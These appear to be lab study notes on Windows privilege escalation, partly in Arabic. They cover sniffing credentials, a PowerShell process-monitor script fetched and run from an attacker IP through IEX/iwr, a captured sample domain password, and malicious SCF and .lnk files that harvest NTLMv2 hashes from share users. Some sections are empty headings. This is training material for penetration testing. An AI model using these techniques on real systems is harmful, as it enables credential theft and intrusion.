search
inHTBTHM
githubEdit

Interacting with Users

The tool net-credsarrow-up-right can be run from our attack box to sniff passwords and hashes from a live interface or a pcap file.

hashtag
Process Command Lines

hashtag
Monitoring for Process Command Lines

display scheduled tasks or other processes being executed which pass credentials on the command line

# create script on attack then transfer to victim 
while($true)
{

  $process = Get-WmiObject Win32_Process | Select-Object CommandLine
  Start-Sleep 1
  $process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
  Compare-Object -ReferenceObject $process -DifferenceObject $process2

}

hashtag
Running Monitor Script on Target Host

PS C:\htb> IEX (iwr 'http://10.10.15.150/procmon.ps1') 

InputObject                                           SideIndicator
-----------                                           -------------
@{CommandLine=C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}} =>      
@{CommandLine=“C:\Windows\system32\cmd.exe” }                          =>      
@{CommandLine=\??\C:\Windows\system32\conhost.exe 0x4}                      =>      
**@{CommandLine=net use T: \\sql02\backups /user:inlanefreight\sqlsvc My4dm1nP@s5w0Rd}       =>**       
@{CommandLine=“C:\Windows\system32\backgroundTaskHost.exe” -ServerName:CortanaUI.AppXy7vb4pc2... <=

This is successful and reveals the password for the sqlsvc domain user

hashtag
Vulnerable Services

CVE-2019–15752arrow-up-right : in this vulnerability docker search on file call docker-credential-wincred.bat or docker-credential-wincred.exe which search on this path C:\PROGRAMDATA\DockerDesktop\version-bin\ but this path allow anyone to full write access

hashtag
SCF on a File Share

A Shell Command File (SCF) is used by Windows Explorer to move up and down directories, show the Desktop, etc. An SCF file can be manipulated to have the icon file location point to a specific UNC path and have Windows Explorer start an SMB session when the folder where the .scf file resides is accessed. If we change the IconFile to an SMB server that we control and run a tool such as Responderarrow-up-right, Inveigharrow-up-right, or InveighZeroarrow-up-right, we can often capture NTLMv2 password hashes for any users who browse the share

بمعني اننا ممكن نغير الايقون فايل بحيث تشاور علي سيرفر ال SMB و نشغل تولز و ظيفتها انها تسنيف عن النيتورك دي و تعرض اي هاش ل اي حد اتصفح الشير دا

hashtag
Malicious SCF File

let's create the following file and name it something like @Inventory.scf (similar to another file in the directory, so it does not appear out of place). We put an @ at the start of the file name to appear at the top of the directory to ensure it is seen and executed by Windows Explorer as soon as the user accesses the share. put your ip and any fake name .ico

hashtag
Starting Responder

hashtag
Cracking NTLMv2 Hash with Hashcat

hashtag
Capturing Hashes with a Malicious .lnk File

SFCs not work on Server 2019 hosts , but we can achieve the same effect using a malicious.lnk file (shortcut file). We can use various tools to generate a malicious .lnk file, such as Lnkbombarrow-up-right

Powershell file

file to allow connect on SMB share

PreviousAdditional TechniquesNextPillaging

Last updated